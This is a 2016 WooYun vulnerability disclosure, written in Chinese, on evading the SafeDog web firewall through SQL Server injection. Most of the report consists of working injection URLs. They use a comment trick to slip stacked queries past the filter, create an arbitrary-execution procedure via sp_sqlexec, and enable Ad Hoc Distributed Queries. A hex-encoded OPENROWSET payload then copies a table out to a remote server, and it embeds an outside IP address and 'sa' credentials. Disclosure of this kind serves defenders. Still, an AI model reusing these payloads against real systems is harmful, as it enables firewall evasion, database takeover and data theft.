漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2016-0205421
漏洞标题:一次有趣的过狗经历(sql server特性利用)
相关厂商:安全狗
漏洞作者: niexinming
提交时间:2016-05-05 22:02
修复时间:2016-06-20 11:10
公开时间:2016-06-20 11:10
漏洞类型:SQL注射漏洞
危害等级:中
自评Rank:10
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2016-05-05: 细节已通知厂商并且等待厂商处理中
2016-05-06: 厂商已经确认,细节仅向厂商公开
2016-05-16: 细节向核心白帽子及相关领域专家公开
2016-05-26: 细节向普通白帽子公开
2016-06-05: 细节向实习白帽子公开
2016-06-20: 细节向公众公开
简要描述:
请叫我sql server小王子
详细说明:
先上版本:
首先安全狗对select+from的防御相当严格,但是对于其他的语句的防御就一般了
我们可以利用sql server里面的各自自带的系统存储过程来绕过安全狗的种种限制,从而达到脱裤的效果。
我的思路是:首先要先动态的建立一个存储过程
开始:
我的是这样建立存储过程的:
http://localhost/test.aspx?type=1;CREATE PROCEDURE myexec(@s VARCHAR(1024)) as exec(@s)--
结果一直不成功,经过调试之后得知:
CREATE/ALTER PROCEDURE' 必须是查询批次中的第一个语句。
后来我查到如果在1后面加个go就可以在sql server企业管理器中查查询出来:
select * from mystu;
go
CREATE PROCEDURE myexec(@s VARCHAR(1024)) as exec(@s)
但是复制到url中却一直在报go的错误,我很无语,然后在微软的官方搜到一个解释:
如果基于 ODBC 或 OLE DB API 的应用程序试图执行 GO 命令,会收到语法错误。 SQL Server 实用工具从不向服务器发送 GO 命令。
所以无法用go之后,我就一直在找办法,终于在系统拓展存储过程里面发现一个存储过程:
sp_sqlexec
查看这个存储过程的源代码:
刚刚好满足我的要求:
于是:
http://localhost/test.aspx?type=1;EXEC student..sp_sqlexec 'CREATE PROCEDURE myexec(@s VARCHAR(1024)) as exec(@s)'
但是,被安全狗拦截了
但是我改变一下,可爱的狗狗就不拦了
http://localhost/test.aspx?type=1;EXEC/*(*/student..sp_sqlexec 'CREATE PROCEDURE myexec(@s VARCHAR(1024)) as exec(@s)'
然后发现:
然后,既然建立好了存储过程就代表可以随意随意执行sql语句了:
我们可以这样执行sql语句:
http://localhost/test.aspx?type=1;exec/*(*/myexec 0x73656c65637420636f6e7665727428696e742c404076657273696f6e29
安全狗根本不会拦截
如何利用呢?
首先,你可以开xp_cmdshell这个系统存储过程,并且拿到系统权限,还可以已dns的方式拖出小部分数据
但是今天,我要介绍一个新的玩法就是:远程脱裤
首先这个注入点的权限要高,sql server dba的权限
然后我们要尝试开启sql server的远程调用:
【1】exec sp_configure 'show advanced options',1
【2】reconfigure
【3】exec sp_configure 'Ad Hoc Distributed Queries',1
【4】reconfigure
对应的利用过程是:
【1】:http://localhost/test.aspx?type=1;exec/*(*/sp_configure 'show advanced options',1
【2】:http://localhost/test.aspx?type=1;reconfigure
【3】:http://localhost/test.aspx?type=1;exec/*(*/sp_configure 'Ad Hoc Distributed Queries',1
【4】:http://localhost/test.aspx?type=1;reconfigure
然后,我们就可以愉快的远程脱裤了:
用这个函数脱裤:
insert openrowset( 'SQLOLEDB ', 'ip地址 '; '数据库用户名'; '数据库密码',远程数据库名.dbo.tmp) select *from 要拖的数据库的表名
这个转换成hex就是:
0x696e73657274206f70656e726f7773657428202753514c4f4c45444220272c20273131352e34372e35332e31313920273b20277361273b20276a7578696e333136272c6873722e64626f2e746d70292073656c656374202a66726f6d2073747564656e742e64626f2e6d79737475
注意,远程的数据库的表的列数和要拖的数据库的表的列数要保持一致,表名可以和要拖的数据库的表名不一样,字段名也可以不一样
然后我在注入点执行这样的语句:
http://localhost/test.aspx?type=1;exec/*(*/myexec 0x696e73657274206f70656e726f7773657428202753514c4f4c45444220272c20273131352e34372e35332e31313920273b20277361273b20276a7578696e333136272c6873722e64626f2e746d70292073656c656374202a66726f6d2073747564656e742e64626f2e6d79737475
好了,愉快的拖出数据来了
漏洞证明:
修复方案:
过滤
版权声明:转载请注明来源 niexinming@乌云
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:8
确认时间:2016-05-06 11:01
厂商回复:
sql server小王子,忍不住给你点个赞
最新状态:
暂无